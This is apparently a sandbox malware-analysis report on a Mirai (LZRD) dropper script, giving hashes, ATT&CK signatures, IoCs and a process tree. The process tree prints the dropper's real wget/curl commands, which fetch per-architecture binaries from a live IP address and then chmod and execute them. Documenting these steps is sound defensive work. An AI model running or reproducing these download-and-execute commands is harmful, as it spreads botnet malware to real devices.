mirai | 5bac9d684357a86485310dc0f98b63f0f9c0f08e7879c7812a0949ff882fe7c4

Analysis

max time kernel
149s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
26-12-2024 21:06

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General

Target

ohshit.sh
Size

3KB
MD5

7c5ed3803ed430d1f19ad74fda51642f
SHA1

43d7c9d2e6065acbc7b1440a6e9a60bee8db353b
SHA256

5bac9d684357a86485310dc0f98b63f0f9c0f08e7879c7812a0949ff882fe7c4
SHA512

ff126662eb0097a5554f95a4b91c71481213e45f3f5a98a426ce49c7f15f32b422b2864cd97588d6360014e01e971003cfe1c63e58bc1bfadc38a4d150561565

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1555	chmod
1625	chmod
1635	chmod
1523	chmod
1533	chmod
1543	chmod
1575	chmod
1595	chmod
1565	chmod
1585	chmod
1605	chmod
1615	chmod
1489	chmod
1503	chmod
1513	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	1490	Chaotic
/tmp/Chaotic	1504	Chaotic
/tmp/Chaotic	1514	Chaotic
/tmp/Chaotic	1524	Chaotic
/tmp/Chaotic	1534	Chaotic
/tmp/Chaotic	1544	Chaotic
/tmp/Chaotic	1556	Chaotic
/tmp/Chaotic	1566	Chaotic
/tmp/Chaotic	1576	Chaotic
/tmp/Chaotic	1586	Chaotic
/tmp/Chaotic	1596	Chaotic
/tmp/Chaotic	1606	Chaotic
/tmp/Chaotic	1616	Chaotic
/tmp/Chaotic	1626	Chaotic
/tmp/Chaotic	1636	Chaotic

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/664/status	Chaotic
File opened for reading	/proc/13/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/1174/status	Chaotic
File opened for reading	/proc/405/status	Chaotic
File opened for reading	/proc/1154/status	Chaotic
File opened for reading	/proc/1283/status	Chaotic
File opened for reading	/proc/405/status	Chaotic
File opened for reading	/proc/1228/status	Chaotic
File opened for reading	/proc/1551/status	Chaotic
File opened for reading	/proc/946/status	Chaotic
File opened for reading	/proc/1239/status	Chaotic
File opened for reading	/proc/709/status	Chaotic
File opened for reading	/proc/161/status	Chaotic
File opened for reading	/proc/1527/status	Chaotic
File opened for reading	/proc/23/status	Chaotic
File opened for reading	/proc/1050/status	Chaotic
File opened for reading	/proc/21/status	Chaotic
File opened for reading	/proc/660/status	Chaotic
File opened for reading	/proc/21/status	Chaotic
File opened for reading	/proc/1255/status	Chaotic
File opened for reading	/proc/1161/status	Chaotic
File opened for reading	/proc/480/status	Chaotic
File opened for reading	/proc/83/status	Chaotic
File opened for reading	/proc/1050/status	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/1140/status	Chaotic
File opened for reading	/proc/1509/status	Chaotic
File opened for reading	/proc/13/status	Chaotic
File opened for reading	/proc/115/status	Chaotic
File opened for reading	/proc/1221/status	Chaotic
File opened for reading	/proc/406/status	Chaotic
File opened for reading	/proc/414/status	Chaotic
File opened for reading	/proc/29/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/154/status	Chaotic
File opened for reading	/proc/1143/status	Chaotic
File opened for reading	/proc/31/status	Chaotic
File opened for reading	/proc/1484/status	Chaotic
File opened for reading	/proc/11/status	Chaotic
File opened for reading	/proc/159/status	Chaotic
File opened for reading	/proc/870/status	Chaotic
File opened for reading	/proc/1274/status	Chaotic
File opened for reading	/proc/267/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/1066/status	Chaotic
File opened for reading	/proc/536/status	Chaotic
File opened for reading	/proc/1161/status	Chaotic
File opened for reading	/proc/157/status	Chaotic
File opened for reading	/proc/9/status	Chaotic
File opened for reading	/proc/28/status	Chaotic
File opened for reading	/proc/1114/status	Chaotic
File opened for reading	/proc/1118/status	Chaotic
File opened for reading	/proc/1275/status	Chaotic
File opened for reading	/proc/1589/status	Chaotic
File opened for reading	/proc/1155/status	Chaotic
File opened for reading	/proc/82/status	Chaotic
File opened for reading	/proc/1361/status	Chaotic
File opened for reading	/proc/18/status	Chaotic
File opened for reading	/proc/31/status	Chaotic
File opened for reading	/proc/172/status	Chaotic
File opened for reading	/proc/1571/status	Chaotic
File opened for reading	/proc/20/status	Chaotic
File opened for reading	/proc/1151/status	Chaotic

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1541	curl
1530	wget
1531	curl
1540	wget

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1481
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1482
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1483
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1487
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:1488
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6cPzlt ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:1490
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1492
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:1502
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6cPzlt ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1504
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6cPzlt ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1514
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1520
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6cPzlt ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1524
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1530
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1531
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6cPzlt ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1534
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1540
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6cPzlt ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1544
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1552
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1556
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1562
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1563
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1565
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1566
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1572
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1573
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1576
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1582
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1583
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1585
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1586
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1592
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1593
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1595
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1596
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1602
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1603
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1605
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1606
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:1612
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Writes file to tmp directory
  PID:1613
- /bin/chmod
  chmod +x busybox Chaotic config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1615
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1616
- /usr/bin/wget
  wget http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1622
- /usr/bin/curl
  curl -O http://92.118.56.167/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1623
- /bin/chmod
